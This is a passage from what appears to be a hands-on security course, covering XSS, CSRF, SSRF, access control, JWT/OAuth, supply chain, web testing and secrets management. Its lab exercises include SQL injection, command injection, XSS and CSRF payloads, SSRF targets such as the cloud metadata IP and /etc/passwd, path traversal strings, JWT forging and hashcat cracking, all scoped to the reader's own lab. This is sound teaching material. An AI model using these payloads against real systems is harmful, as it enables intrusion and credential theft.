   Log injection      newlines/control chars into logs -> forged entries.
                     (Part 11.) Encode on write.
   ORM/GraphQL         raw fragments, batching abuse, alias-based DoS.

   Use OWASP Juice Shop (Ch 0.4) or PortSwigger Academy labs.

   1. SQL injection login bypass:
      - Log in as admin using ' OR 1=1-- in the email field. Observe the
        query shape from the error, then craft the payload.
   2. UNION extraction:
      - Find the products search endpoint. Determine the column count
        (ORDER BY n / UNION SELECT NULL,NULL,...). Extract the users table.
   3. Now FIX a copy locally:
      - Grab a deliberately-vulnerable mini-app (or write 20 lines of
        Flask/Express with a concatenated query). Confirm the injection.
      - Switch to a parameterised query. Confirm the SAME payload is now
        inert (it's treated as a literal string to match).
   4. Command injection:
      - In a lab app with a "ping" or "nslookup" feature, inject `; id`.
      - Fix it with the array/exec form + hostname validation. Re-test.
   5. Try `sqlmap` against your OWN lab target only:
        sqlmap -u 'http://localhost:3000/rest/products/search?q=x' --batch --dbs
      Read what it does; understand each stage. Never point it off your lab.

Chapter 43 — Cross-site scripting (XSS)

The three types

   STORED (persistent)   payload saved server-side (a comment, profile,
                         product review) and served to every viewer.
                         Worst impact -- can self-propagate (Samy worm).

   REFLECTED             payload in the request (query param, path) echoed
                         straight into the response. Needs a lure (a crafted
                         link). One victim per click.

   DOM-BASED            no server involvement: client-side JS reads
                         attacker-controlled input (location.hash,
                         postMessage, document.referrer) and writes it into
                         a dangerous sink (innerHTML, eval, document.write).

Why it's dangerous

Once script runs in your origin it can:

   - read the DOM (everything on the page the user sees)
   - make authenticated requests as the user (SOP allows same-origin;
     cookies attach automatically)
   - read non-HttpOnly cookies, localStorage, sessionStorage
   - keylog, capture form input, phish with a fake login overlay
   - pivot: hit internal APIs the user's browser can reach
   - persist (service worker) and self-spread (stored XSS)

HttpOnly stops cookie theft; it does not stop any of the rest.

The fix: context-aware output encoding + CSP

   ROOT CAUSE: putting untrusted data into HTML without encoding it for
   THAT context.

   1. CONTEXT-AWARE OUTPUT ENCODING (the primary fix)
        HTML body:        & < > -> &amp; &lt; &gt;
        HTML attribute:   also encode quotes; always quote attributes
        JavaScript:       don't. Serialise as JSON into a data attribute
                          or <script type="application/json">, then read it.
        URL:              percent-encode; validate the scheme (no javascript:)
        CSS:              avoid entirely; strict allowlist
      Modern frameworks (React, Angular, Vue, Svelte) auto-encode by
      default. XSS then comes from the ESCAPE HATCHES:
        React    dangerouslySetInnerHTML
        Angular  bypassSecurityTrust*
        Vue      v-html
        any      .innerHTML, document.write, jQuery .html(), eval,
                 new Function, setTimeout("string")

   2. FOR RICH HTML INPUT (user must submit formatted text):
        sanitise with a vetted library -- DOMPurify -- with a strict
        allowlist. Never a homemade regex "sanitiser".

   3. CONTENT SECURITY POLICY (defence in depth -- assume 1 & 2 will
      sometimes fail)
        Content-Security-Policy:
          default-src 'self';
          script-src 'self' 'nonce-<random-per-response>';
          object-src 'none'; base-uri 'none'; frame-ancestors 'none'
      - NO 'unsafe-inline', NO 'unsafe-eval', NO broad host allowlists
        (they're bypassable via JSONP/old Angular on those hosts).
      - Prefer a NONCE- or HASH-based, or STRICT-DYNAMIC policy.
      - Add a report-uri/report-to endpoint and watch it.

   4. Trusted Types (Chromium): make the DOM XSS sinks refuse plain
      strings -> forces all sink writes through a vetted policy.
        Content-Security-Policy: require-trusted-types-for 'script'

   1. Juice Shop / PortSwigger:
      - Reflected XSS: find a parameter echoed into the page. Pop
        alert(document.domain). Then escalate to reading a cookie or
        making an authenticated request in the console.
      - Stored XSS: get a payload into a field that's rendered to other
        users (a review, a name). Confirm it fires on page load.
      - DOM XSS: find JS that writes location.hash into innerHTML.
        Craft the URL.
   2. Fix locally:
      - 15-line app that reflects ?name= into HTML via string concat.
        Confirm <script>alert(1)</script> runs.
      - Add context-aware encoding (or use a templating engine with
        autoescape). Confirm the payload now renders as visible text.
      - Add a strict nonce-based CSP. In devtools, watch an inline
        <script> without the nonce get BLOCKED, and see the violation
        report.
   3. Add a "bio" field that allows <b>/<i>. Implement it with DOMPurify
      (allowlist b,i,em,strong only). Try to sneak <img onerror> past it.
   4. Score your headers: run the fixed app through securityheaders.com
      (local via ngrok, or read the curl -I output against the checklist).

Chapter 44 — Request forgery: CSRF, SSRF, clickjacking

CSRF — Cross-Site Request Forgery

   The user is logged in to bank.example. They visit evil.example, which
   contains:

     <form action="https://bank.example/transfer" method="POST" id="f">
       <input name="to" value="attacker"><input name="amount" value="5000">
     </form>
     <script>f.submit()</script>

   The browser sends the POST to bank.example WITH the user's session
   cookie (SOP allows sending, just not reading the reply). The transfer
   goes through. The attacker never saw the response -- they didn't need to.

Defences (use layered):

   1. SameSite cookies:  SameSite=Lax (default in modern browsers) stops
      cross-site POST/AJAX from carrying the cookie. SameSite=Strict for
      high-value actions. NOT sufficient alone (top-level GET, some flows,
      older clients, same-site-but-different-origin).
   2. ANTI-CSRF TOKENS:  a per-session (or per-request) random token in a
      hidden field / custom header that the server verifies. The attacker's
      cross-site page can't read it (SOP). Synchronizer-token or
      signed double-submit pattern.
   3. Custom header requirement for JSON APIs:  require e.g.
      X-Requested-With or a custom content type that a cross-site HTML form
      cannot set -> forces a CORS preflight the attacker can't satisfy.
   4. Re-authentication / step-up for sensitive actions.
   5. Check Origin/Referer as defence in depth (not sole defence).

GET must never change state. A GET /transfer?... is CSRF-able with an <img> tag and immune to most token schemes.

SSRF — Server-Side Request Forgery

   Your server has a feature: "fetch the image at this URL", "import from
   this webhook", "render this PDF from a URL". The attacker supplies:

     http://169.254.169.254/latest/meta-data/iam/security-credentials/...
       -> cloud instance metadata service -> STEALS cloud credentials
          (this was the Capital One breach, 2019, ~100M records)
     http://localhost:6379/  -> internal Redis, admin panels, k8s API
     file:///etc/passwd       -> local file read
     http://[internal-only-service]/  -> pivot into the private network
     gopher://... / dict://   -> smuggle arbitrary protocol payloads

Defences:

   - Default DENY. Allowlist destination hosts/domains AND schemes
     (https only). Deny by default; never blocklist.
   - Resolve the hostname, check the RESULTING IP against RFC1918 /
     loopback / link-local / IPv6 ULA / metadata IPs -- BEFORE connecting,
     AND re-check after redirects (DNS rebinding: resolve twice, TOCTOU).
   - Disable redirects, or re-validate every hop.
   - Block the metadata endpoint at the network layer; use IMDSv2
     (session-token, hop-limit 1) on AWS; equivalent hardening on GCP/Azure.
   - Isolate the fetcher: a locked-down egress-filtered subnet / separate
     service / no cloud role attached.
   - No raw error/response passthrough (blind SSRF is still bad, but don't
     hand the attacker the loot).

Clickjacking

   evil.example loads bank.example in a transparent <iframe>, positions a
   "You won! Click here" button exactly over bank.example's "Delete
   account" / "Confirm payment" button. The user clicks the real button
   without knowing.

   FIX (both):
     Content-Security-Policy: frame-ancestors 'none'      (or 'self' / allowlist)
     X-Frame-Options: DENY                                (legacy, still set it)
   For UIs that MUST be embeddable, use frame-ancestors with a tight
   allowlist and require user gestures / confirmations for destructive acts.

Related: open redirects and tabnabbing

   OPEN REDIRECT:  /login?next=https://evil.example -> after login the app
     redirects off-site. Feeds phishing and can chain into OAuth token
     theft / SSRF filter bypass. Fix: allowlist redirect targets, or only
     allow relative paths.
   REVERSE TABNABBING:  target="_blank" links let the opened page rewrite
     window.opener.location. Fix: rel="noopener noreferrer" (now default
     in modern browsers, but set it).

   1. CSRF (Juice Shop / PortSwigger):
      - Find a state-changing endpoint without a token. Host a tiny
        auto-submitting form on a different origin (python -m http.server
        on another port counts as cross-site if the app checks Origin).
      - Add SameSite=Lax to the cookie; retry. Add a synchronizer token;
        retry. Document what each layer blocked.
   2. SSRF (PortSwigger has a dedicated track):
      - Use a URL-fetch feature to hit 169.254.169.254 (their lab
        simulates it) or an internal admin endpoint.
      - Implement the allowlist + post-resolution IP check fix in a local
        mini-app. Try to bypass with a redirect and with a DNS name that
        resolves to 127.0.0.1 (use `lvh.me` / `127.0.0.1.nip.io`).
   3. Clickjacking:
      - Frame a local app in an <iframe> on another page. Overlay a button.
      - Add frame-ancestors 'none'; watch the frame refuse to render.

Chapter 45 — Broken access control

The failure modes

   IDOR / BOLA (Broken Object-Level Authorization)
     GET /api/orders/1001   -> your order
     GET /api/orders/1002   -> someone else's order, returned happily
     The app checks you're LOGGED IN but not that the object is YOURS.
     #1 API vulnerability (OWASP API Top 10 A01). Also with UUIDs if they
     leak; obscurity is not authorization.

   BROKEN FUNCTION-LEVEL AUTHORIZATION (BFLA)
     POST /api/admin/users/5/promote  -> works for a normal user because
     the endpoint only checks authentication, or hides the button but not
     the route ("security by missing link").

   VERTICAL escalation: user -> admin.
   HORIZONTAL escalation: user A -> user B's data.

   MASS ASSIGNMENT / auto-binding
     PATCH /api/users/me  {"name":"x","role":"admin","credits":99999}
     The app binds the whole JSON to the model; you set fields you
     shouldn't. Fix: explicit allowlist of updatable fields (DTOs).

   PATH TRAVERSAL
     GET /download?file=../../../../etc/passwd
     GET /download?file=..%2f..%2f (encoded)  / ....// (filter bypass)
     Fix: resolve to a canonical absolute path, assert it's inside the
     intended base dir; better, use an opaque ID -> lookup, never a path.

   MISSING RE-CHECK ON SECOND STEP
     Multi-step flows (checkout, wizards) that authorize step 1 and trust
     hidden fields / prior state on step 3. Re-derive and re-check server-
     side at every step.

   METADATA / SIDE-CHANNEL access
     Referer leaks, predictable exports, GraphQL introspection,
     debug endpoints, .git/ , /actuator, backup files, verbose errors.

The principles that prevent it

   1. DENY BY DEFAULT. Every route/handler requires an explicit allow.
      A new endpoint with no annotation must be UNREACHABLE, not public.
   2. ENFORCE SERVER-SIDE, on every request. The UI hiding a button is
      not access control. The client is attacker-controlled.
   3. CHECK THE OBJECT, not just the verb. "Can this user read THIS
      order?" -- scope every query by the owner:
        SELECT * FROM orders WHERE id = ? AND owner_id = :current_user
      (make ownership a WHERE clause, not an afterthought).
   4. CENTRALISE the decision. One authorization layer/middleware/policy
      engine (OPA, Cedar, Oso, your framework's guards), not ad-hoc `if`
      checks scattered per controller.
   5. USE OPAQUE, UNGUESSABLE IDs where you can (UUIDv4), but treat that
      as defence in depth -- still check ownership.
   6. LEAST PRIVILEGE everywhere: roles, scopes, DB grants, cloud IAM,
      service accounts. Time-box elevated access.
   7. LOG access-control decisions, especially denials, and alert on
      spikes (enumeration).
   8. TEST IT: for every endpoint, automated tests for "as another user",
      "as anonymous", "as lower role".

The SecureShop callback

Chapter 4 asked you to record your instinct for "per-customer authz" and "price-tampering". Here's the concrete version:

   GET /api/orders/:id
     BAD:   if (!session.user) return 401; return db.order(id)
     GOOD:  if (!session.user) return 401;
            order = db.query("SELECT * FROM orders WHERE id=? AND customer_id=?",
                             [id, session.user.id])
            if (!order) return 404      // 404, not 403 -> don't confirm existence

   POST /api/checkout
     BAD:   total = req.body.total          // client sends the price!
     GOOD:  recompute total server-side from cart items x current DB prices;
            ignore any client-supplied price/total/discount entirely.
            Validate the coupon server-side. (This is A01 + insecure design.)

   1. IDOR: in Juice Shop, view your basket, then change the basket ID in
      the request to another value. Retrieve someone else's basket.
      Then find the "view another user's order" variant.
   2. BFLA: find an admin-only API call (watch the admin UI in devtools).
      Call it directly as a normal user.
   3. Mass assignment: register or update a profile and add "role":"admin"
      (or "isAdmin":true) to the JSON body. Check if it sticks.
   4. Path traversal: find a file-serving endpoint; try ../ and encoded
      variants to escape the intended directory.
   5. FIX locally: build a 3-endpoint app (list my orders, get order by id,
      update profile). Introduce each bug, exploit it, then fix with:
      ownership in the WHERE clause; a role guard middleware; a field
      allowlist DTO; canonical-path containment check. Add tests that call
      each endpoint "as user B" and expect 404/403.

Chapter 46 — Authentication, sessions, and federated identity

Sessions: the two models

   SERVER-SIDE SESSIONS (stateful)
     cookie = opaque random 128-bit session ID -> server looks up session
     data in a store (Redis, DB).
     + trivial to revoke (delete the row), rotate, inspect
     + no sensitive data on the client
     - needs a shared/replicated store

   STATELESS TOKENS (JWT et al.)
     cookie/header = signed token containing claims (sub, exp, roles)
     + no server lookup; scales across services
     - REVOCATION IS HARD (token is valid until exp regardless)
     - footgun-rich (see below)
     - claims are readable by the client (Ch 6) -- never put secrets in
   Common middle ground: short-lived JWT access token (5-15 min) +
   long-lived opaque refresh token stored server-side and revocable.

Session hygiene, both models:

   [ ] Generate IDs with a CSPRNG, >=128 bits.
   [ ] Set Secure; HttpOnly; SameSite=Lax|Strict; __Host- prefix.
   [ ] ROTATE the session ID on privilege change (login, step-up) ->
       defeats session fixation.
   [ ] Idle timeout + absolute timeout. Invalidate server-side on logout.
   [ ] Bind minimally to context (e.g. re-auth on IP/UA change for
       high-value) -- carefully, mobile users roam.
   [ ] One place to list & revoke a user's active sessions.

JWT: the specific footguns

   alg:none        -> some libraries accepted an unsigned token as valid.
                      Pin the expected algorithm; reject 'none'.
   alg confusion    -> token says RS256 but server verifies with the RSA
   (RS256->HS256)      PUBLIC key as an HMAC secret -> attacker forges
                      tokens using the public key. Pin alg; use separate
                      verify APIs.
   weak HMAC secret -> brute-forced offline (jwt_tool, hashcat). Use a
                      long random secret / proper keys.
   no exp / long exp / no aud / no iss checks -> replay, token reuse
                      across services. Validate exp, nbf, iss, aud, sub.
   kid injection    -> path traversal / SQLi via the key-id header.
   storing in localStorage -> XSS reads it. Prefer a cookie with the
                      flags above; if you must use headers, keep tokens
                      short-lived.
   can't revoke      -> keep them short; maintain a denylist / token
                      version / "tokens issued before T are invalid".

Passwords and MFA (building on Ch 10)

   - Argon2id storage (Ch 10). Screen against Have I Been Pwned. No
     forced composition or rotation (NIST SP 800-63B).
   - Rate-limit + lockout-with-care (per-account and per-IP; avoid
     enabling DoS-by-lockout; use exponential backoff + CAPTCHA-as-late-
     resort + device signals).
   - Uniform responses/timing for "no such user" vs "wrong password"
     (anti-enumeration, Ch 10).
   - MFA tiers, weakest to strongest:
       SMS OTP        -> phishable, SIM-swappable. Better than nothing.
       TOTP (authenticator app) -> phishable (real-time relay) but no
                                   SIM-swap. Good baseline.
       Push w/ number-matching -> resists MFA fatigue.
       WebAuthn / PASSKEYS (FIDO2) -> PHISHING-RESISTANT: the credential
                                   is bound to the origin, cryptographic
                                   challenge-response, private key in a
                                   TPM/secure enclave/security key.
                                   THE target to move users toward.
   - Account recovery is the real backdoor. "Reset via email" makes email
     the true root of trust. Recovery must be as strong as primary auth
     (or explicitly, deliberately weaker with monitoring).

OAuth 2.0 and OIDC — the 90-second model

   OAuth 2.0 = DELEGATED AUTHORIZATION ("let this app access my
     Google Calendar"). It is NOT an authentication protocol.
   OIDC (OpenID Connect) = an identity layer ON TOP of OAuth 2.0
     ("log in with Google") -- adds the ID TOKEN (a JWT about the user)
     and a /userinfo endpoint.

   ROLES:  Resource Owner (user) | Client (your app) |
           Authorization Server (Google/Okta) | Resource Server (the API)

   USE THE AUTHORIZATION CODE FLOW + PKCE, always (SPAs and mobile
   included). The old Implicit and Password (ROPC) grants are deprecated.

     1. app redirects user to the Authorization Server with:
          response_type=code, client_id, redirect_uri, scope,
          state=<random, CSRF>, code_challenge=<S256(verifier)>
     2. user authenticates + consents there
     3. AS redirects back: ?code=...&state=...
        app checks state matches.
     4. app -> AS /token  (back-channel): code + code_verifier + client
        creds  -> access_token (+ id_token for OIDC, + refresh_token)
     5. app calls the API with  Authorization: Bearer <access_token>

OAuth/OIDC mistakes that cause account takeover:

   - Not validating `state` -> CSRF on the callback / code injection.
   - Loose redirect_uri matching (prefix/substring/open-redirect on the
     client) -> code/token exfiltration. Require EXACT registered URIs.
   - No PKCE -> authorization-code interception (esp. mobile/SPA).
   - Accepting an id_token without verifying signature, iss, aud, exp,
     nonce.
   - Using the ACCESS token as proof of identity (it's for the API, may be
     opaque, has no audience for your app) -> use the ID token / userinfo.
   - "Confused deputy": trusting an id_token minted for a DIFFERENT client
     (check `aud`).
   - Mixing up auth/authz: OIDC tells you WHO; your app still decides
     WHAT they can do (Ch 45).
   - Long-lived tokens in the browser; refresh tokens without rotation +
     reuse detection.

   1. Session fixation: in a lab app, capture your pre-login session ID,
      log in, check whether it CHANGED. If not, that's the bug -- fix by
      regenerating on login.
   2. JWT:
      - Decode a lab JWT on jwt.io. Flip a claim, re-encode with alg:none
        or with 'HS256' + the RS256 public key. Try it against the app
        (Juice Shop has a JWT challenge).
      - Fix a local verifier: pin alg, verify aud/iss/exp, reject none.
      - Crack a weak-secret HS256 token with `jwt_tool` / hashcat -m 16500
        against a wordlist (your token only).
   3. OAuth: run a local OIDC provider (Keycloak / Dex / `oauth2-proxy`
      with a test IdP). Implement the auth-code + PKCE flow in ~50 lines.
      Then break it: skip `state` and show the callback is now CSRF-able;
      loosen `redirect_uri` matching and show code theft via an open
      redirect.
   4. Add WebAuthn to a toy login (SimpleWebAuthn library). Register a
      passkey (platform authenticator or a security key) and log in with
      it. Note there is no shared secret to phish.

Chapter 47 — Supply chain and the code you didn't write

The attack surface

   DIRECT DEPENDENCIES        the 20 packages you chose
   TRANSITIVE DEPENDENCIES    the 800 they pulled in (this is where it hides)
   BUILD-TIME                 compilers, bundlers, codegen, CI plugins,
                              GitHub Actions, pre/post-install scripts
   BASE IMAGES                FROM node:20 -> a whole OS you didn't audit
   DEV TOOLS                  IDE extensions, linters, test frameworks
   RUNTIME PULLS              CDN <script>, fonts, analytics, tag managers
   INFRASTRUCTURE             Terraform modules, Helm charts, Ansible roles

How supply-chain attacks actually happen

   TYPOSQUATTING / name confusion  reqeusts, python-dateutil vs
     python3-dateutil, lodahs. Install-time scripts run as you.
   DEPENDENCY CONFUSION  publish a PUBLIC package with the same name as a
     company's PRIVATE one + higher version -> the resolver picks the
     public one (Alex Birsan, 2021 -- hit Apple, Microsoft, dozens more).
   COMPROMISED MAINTAINER  stolen npm/PyPI creds, or a maintainer goes
     rogue (event-stream 2018; ua-parser-js 2021; a burnt-out maintainer
     hands over the keys).
   MALICIOUS UPDATE to a legit package  (xz-utils / liblzma backdoor,
     2024 -- a multi-year social-engineering campaign to plant an sshd
     backdoor; caught by luck).
   BUILD SYSTEM COMPROMISE  SolarWinds (2020) -- malware injected into the
     build, so the SIGNED official artifact was backdoored.
   CI/CD  leaked tokens, `pull_request_target` misuse, poisoned caches,
     self-hosted runner takeover, a malicious Action pinned to a mutable tag.
   PROTESTWARE  a maintainer ships sabotage (node-ipc, 2022).

The defences (SLSA-style, layered)

   INVENTORY
   [ ] Generate an SBOM (CycloneDX / SPDX) per build. Know every component
       and version in prod.  (syft, cdxgen, `npm sbom`, trivy)

   PIN & LOCK
   [ ] Commit lockfiles (package-lock.json, poetry.lock, go.sum, Cargo.lock).
   [ ] Pin GitHub Actions to a full commit SHA, not @v3 (mutable tag).
   [ ] Pin base images by DIGEST (FROM node:20@sha256:...), not tag.
   [ ] Disable/participate cautiously in install scripts
       (npm --ignore-scripts where feasible; vet the exceptions).

   VERIFY
   [ ] Signature/provenance verification: npm provenance, PyPI Trusted
       Publishing + attestations, Sigstore/cosign for containers, SLSA
       provenance, `cargo-vet`/`cargo-crev`.
   [ ] Checksum-pin where signatures aren't available.
   [ ] Use a PRIVATE REGISTRY / pull-through proxy (Artifactory, GAR,
       Verdaccio) with an allowlist; block direct public pulls from prod
       builds. Scope internal names to defeat dependency confusion
       (npm scopes, explicit index-url, no implicit fallback).

   SCAN & MONITOR
   [ ] SCA in CI: Dependabot/Renovate, `npm audit`, `pip-audit`,
       `osv-scanner`, Trivy, Snyk/Grype -> fail the build on known-critical
       CVEs (with a triage/allowlist process so it's not ignored).
   [ ] Watch advisories: GitHub Advisory DB, OSV, your ecosystem's feeds.
   [ ] Renovate/Dependabot for timely, reviewed updates (stale deps are
       the more common real problem than malicious ones).

   CONTAIN
   [ ] Least privilege for CI: short-lived OIDC creds, no long-lived
       secrets, minimal token scopes, protected branches, required
       reviews, environment protection rules.
   [ ] Reproducible / hermetic builds where you can (SLSA L3+).
   [ ] Runtime: minimal/distroless images, non-root, read-only FS,
       egress filtering (a backdoored dep still has to call home).
   [ ] Subresource Integrity (SRI) for any CDN <script>/<link>, or better,
       self-host.

   DATA & CODE INTEGRITY (OWASP A08)
   [ ] Signed releases (Ch 22/26 tool). Verify before deploy.
   [ ] No insecure deserialization of untrusted data (pickle, Java
       ObjectInputStream, PHP unserialize, YAML unsafe_load, .NET
       BinaryFormatter) -> RCE. Use JSON / schema-validated formats.
   [ ] Protect the update channel: signed, versioned, rollback-safe (TUF).

# 1. See how deep the tree really goes
npm ls --all 2>/dev/null | wc -l          # or: npm ls --all --json | jq '..|.dependencies?|keys?' 
pipdeptree 2>/dev/null | wc -l
go list -m all | wc -l

# 2. Generate an SBOM and scan it
syft dir:. -o cyclonedx-json > sbom.json    # or: trivy fs --format cyclonedx -o sbom.json .
grype sbom:sbom.json                        # or: osv-scanner --sbom sbom.json
trivy fs --scanners vuln,secret,misconfig .

# 3. Audit with the ecosystem tools
npm audit --audit-level=high
pip-audit -r requirements.txt
osv-scanner -r .
cargo audit          # if Rust

# 4. Find unpinned CI and images (your repos)
grep -rnE 'uses: .*@(v?[0-9]+|main|master)$' .github/workflows/    # mutable Action refs
grep -rn 'FROM .*:[^@]*$' Dockerfile*                              # tag, not digest

# 5. Dependency-confusion check: do you have internal package names that
#    are NOT scoped / could be resolved from the public registry?
cat package.json | jq '.dependencies|keys[]' | grep -v '^"@'       # unscoped deps

# 6. SRI for a CDN script:
#   printf '' | openssl dgst -sha384 -binary < jquery.min.js | openssl base64 -A
#   <script src="..." integrity="sha384-..." crossorigin="anonymous"></script>

Mini-project (60 min): supply-chain gate for SecureShop

   Add to SecureShop's CI a "supply-chain gate" stage that:
     1. Builds an SBOM (syft) and stores it as an artifact per release.
     2. Runs osv-scanner + trivy; FAILS on CRITICAL/HIGH with no
        documented, time-boxed exception file (.security/allow.yml with
        reason + expiry + owner).
     3. Verifies all GitHub Actions are pinned to SHAs (a lint step).
     4. Verifies the base image is pinned by digest.
     5. Signs the built container with cosign and generates SLSA
        provenance; the deploy step verifies the signature before rollout.
     6. Emits a short report to ~/sec-lab/reports/part10-supplychain.md:
        dependency count (direct/transitive), findings, exceptions,
        what the gate blocked.

Chapter 48 — Hands-on: testing a web application

Why this chapter exists

You've seen the bug classes; this is the workflow for finding them in a running app — legally, in your lab — and the tools that make it efficient.

The toolkit

   INTERCEPTING PROXY    Burp Suite (Community is fine to start) or
                         OWASP ZAP. Sits between browser and app; you
                         inspect, modify, and replay every request.
                         -> the single most important tool. Learn one well.

   BROWSER DEVTOOLS      Network tab (see every request, copy as curl),
                         Application tab (cookies, storage, SW),
                         Console (SOP/CSP errors, quick DOM XSS checks),
                         Debugger (find DOM-XSS sinks).

   RECON                 subfinder/amass (subdomains -- your scope only),
                         httpx (probe alive), katana/gau (crawl/URLs),
                         nuclei (templated checks), ffuf/feroxbuster
                         (content & param discovery).

   TARGETED              sqlmap (SQLi), jwt_tool (JWT), dalfox/XSStrike
                         (XSS), ssrf tooling, Param Miner (Burp ext).

   PASSIVE/SANITY        securityheaders.com, Mozilla Observatory,
                         testssl.sh (Part 7), retire.js / SCA (Ch 47).

   PRACTICE TARGETS      OWASP Juice Shop, PortSwigger Web Security
                         Academy, DVWA, WebGoat, HackTheBox, bug-bounty
                         programs WITH scope. (Chapter 0.6.)

A repeatable methodology

   1. MAP
      - Crawl with the proxy running (browse every feature as a normal
        user). Build the site map: endpoints, params, roles, formats.
      - Note tech stack (headers, cookies, JS bundles, errors, favicon).
      - Identify trust boundaries and where user input reaches a
        parser/interpreter/filesystem/sub-request.

   2. AUTH & SESSION
      - How are you identified? Cookie flags. Session rotation on login.
      - JWT? decode it, check alg/exp/aud. OAuth? check state/PKCE/
        redirect_uri.
      - Logout actually invalidates? Password reset flow. Enumeration on
        login/reset/register (timing + messages).

   3. ACCESS CONTROL  (highest ROI -- OWASP #1)
      - Make TWO accounts (A, B). For every object/endpoint A can use,
        replay it AS B and AS anonymous. Change IDs. (Burp: "Autorize" or
        "AuthMatrix" extension automates this.)
      - Find admin/internal endpoints from JS; call them as a low user.
      - Mass assignment: add role/isAdmin/owner fields to update bodies.

   4. INPUT HANDLING
      - For each parameter: try ' " ` \ ; and observe. SQLi (errors,
        timing), XSS (reflection context), command injection, SSTI
        ({{7*7}}), path traversal (../), SSRF (URL params -> your
        collaborator/OAST endpoint).
      - Test JSON/XML/multipart variants; content-type confusion; HTTP
        method override; parameter pollution.

   5. CLIENT-SIDE
      - CSP present and strict? DOM XSS sinks in the JS? postMessage
        handlers without origin checks? CORS policy (reflected origin?
        credentials?). Clickjacking (frame-ancestors).

   6. BUSINESS LOGIC
      - Negative quantities, price/total tampering, coupon stacking,
        race conditions (parallel requests -> double-spend), skipping
        steps in a flow, replaying one-time tokens.

   7. INFRA / MISC
      - Verbose errors, stack traces, debug endpoints (/actuator, /debug,
        .git/, .env, backup files), default creds, directory listing,
        outdated components (retire.js/SCA), security headers.

   8. REPORT
      - Per finding: title, severity (CVSS + business impact), affected
        endpoint, reproduction steps, request/response evidence, root
        cause, remediation, references. Retest after the fix.

   Target: OWASP Juice Shop, run locally (docker run -p 3000:3000
   bkimminich/juice-shop). Proxy through Burp/ZAP.

   Find and DOCUMENT one finding in each class:
     [ ] Injection (SQLi login bypass or UNION data extraction)
     [ ] XSS (one of reflected / stored / DOM)
     [ ] Broken access control (basket/order IDOR, or an admin API)
     [ ] Authentication/JWT (forge or tamper a token)
     [ ] CSRF or SSRF or CORS misconfig
     [ ] Security misconfiguration (a header, an exposed file, verbose
         error) or a vulnerable component (retire.js)

   For each: write a mini report (the "REPORT" template above) into
   ~/sec-lab/reports/part10-webapp.md.

   Then pick TWO findings and build the FIX in a small local app:
   reproduce the bug, apply the remediation from the relevant chapter,
   write a test that proves it's closed.

Chapter 49 — Secrets management

Where secrets leak (in rough order of how often it actually happens)

   1. SOURCE CONTROL      hard-coded in code, committed .env, a config file
                          with real values, a test fixture. Git keeps
                          history forever -- a deleted secret is still in
                          the log, in forks, in clones, on CI caches.
   2. CI/CD LOGS          `echo $API_KEY` for debugging; a tool that prints
                          its config; a stack trace with a connection string.
   3. CONTAINER IMAGES    ARG/ENV secrets baked into a layer; a COPY of the
                          whole repo including .env; `docker history` shows
                          build args.
   4. CLIENT-SIDE         API keys in a mobile app binary or SPA bundle
                          ("it's obfuscated" -- it's `strings` away).
   5. LOGS & APM          request bodies, headers (Authorization), query
                          strings with tokens, error objects.
   6. THIRD PARTIES       Slack messages, Jira tickets, screenshots, wikis,
                          a paste in a support chat.
   7. BACKUPS & SNAPSHOTS a DB dump or VM snapshot with secrets in a table
                          or on disk, stored less carefully than prod.
   8. ENV VARS            readable via /proc, crash dumps, subprocess
                          inheritance, some PaaS dashboards, `ps e`.

The hierarchy of "less bad"

   WORST   hard-coded in source
     |     plaintext config file next to the code
     |     environment variable (better: at least not in git -- but see above)
     |     encrypted-at-rest file, decrypted at deploy (SOPS, git-crypt,
     |         sealed-secrets) -- key management just moved, not solved
     |     a SECRETS MANAGER: Vault, AWS/GCP/Azure Secret Manager,
     |         Kubernetes Secrets + a CSI driver, Doppler, Infisical
   BEST    DYNAMIC, SHORT-LIVED credentials minted per-workload on demand
             (Vault dynamic DB creds, cloud IAM roles / workload identity,
              SPIFFE SVIDs, OIDC-federated CI with no stored secret at all)

The end state to aim for: the application authenticates with a workload identity it didn't have to be given (instance role, K8s ServiceAccount token, OIDC), and exchanges it for short-lived, scoped, audited credentials.

A secrets manager: what it buys you

   * central store, encrypted at rest, TLS in transit
   * fine-grained access policy (this service reads THIS path only)
   * full audit log (who read what, when)
   * versioning + rollback
   * DYNAMIC secrets: Vault creates a DB user with a 1-hour TTL when the
     app asks, and deletes it after -> a leaked cred is useless in an hour
   * automatic ROTATION (static secrets rotated on a schedule / on demand)
   * leasing + revocation: kill all credentials issued to a compromised
     service in one command

Rotation

   Every static secret needs: an owner, an expiry, and a tested rotation
   runbook. If you can't rotate a key in under an hour without an outage,
   that's an incident waiting to happen.

   PATTERN for zero-downtime rotation (works for API keys, signing keys,
   HMAC secrets, DB creds):
     1. Create the NEW secret alongside the old (both valid).
     2. Deploy consumers to ACCEPT both (verify against old OR new).
     3. Deploy producers to USE the new.
     4. Confirm no traffic uses the old (metrics/logs).
     5. Revoke the old.
   Keep 2 key versions live at all times -> rotation is routine, not scary.

Detecting leaked secrets

   PRE-COMMIT / PRE-PUSH   gitleaks, trufflehog, detect-secrets as a git
                           hook -> stop it before it's committed.
   CI SCAN                 same tools on every PR + full-history scan
                           periodically (secrets predate the policy).
   PLATFORM                GitHub/GitLab secret scanning + push protection;
                           partner alerts (many providers auto-revoke on a
                           public leak -- e.g. AWS, Stripe, GitHub tokens).
   MONITORING              alert on use of a secret from an unexpected IP/
                           ASN/time; canary tokens (a fake AWS key that
                           pages you the instant anyone uses it --
                           canarytokens.org).
   IF ONE LEAKS: assume compromised. ROTATE first, investigate second.
   Removing the commit is NOT remediation -- the value must be invalidated.

cd ~/sec-lab/scratch

# 1. Scan a repo (yours) for secrets, including history
docker run --rm -v "$PWD":/repo zricethezav/gitleaks:latest detect \
   --source=/repo --report-format=json --report-path=/repo/gitleaks.json -v
# or: pipx run trufflehog git file://$PWD --only-verified

# 2. Add push protection locally
pipx install detect-secrets
detect-secrets scan > .secrets.baseline
cat > .git/hooks/pre-commit <<'EOF'
#!/bin/sh
detect-secrets-hook --baseline .secrets.baseline $(git diff --cached --name-only) || {
  echo "Potential secret detected. Aborting commit."; exit 1; }
EOF
chmod +x .git/hooks/pre-commit
echo 'aws_secret_access_key = "AKIA................"' > leaky.txt
git add leaky.txt && git commit -m test        # should be BLOCKED

# 3. Run Vault in dev mode and issue a DYNAMIC, short-lived secret
docker run --rm -d --name vault -p 8200:8200 -e VAULT_DEV_ROOT_TOKEN_ID=root hashicorp/vault
export VAULT_ADDR=http://127.0.0.1:8200 VAULT_TOKEN=root
vault secrets enable -path=secret kv-v2
vault kv put secret/secureshop/db username=app password="$(openssl rand -hex 16)"
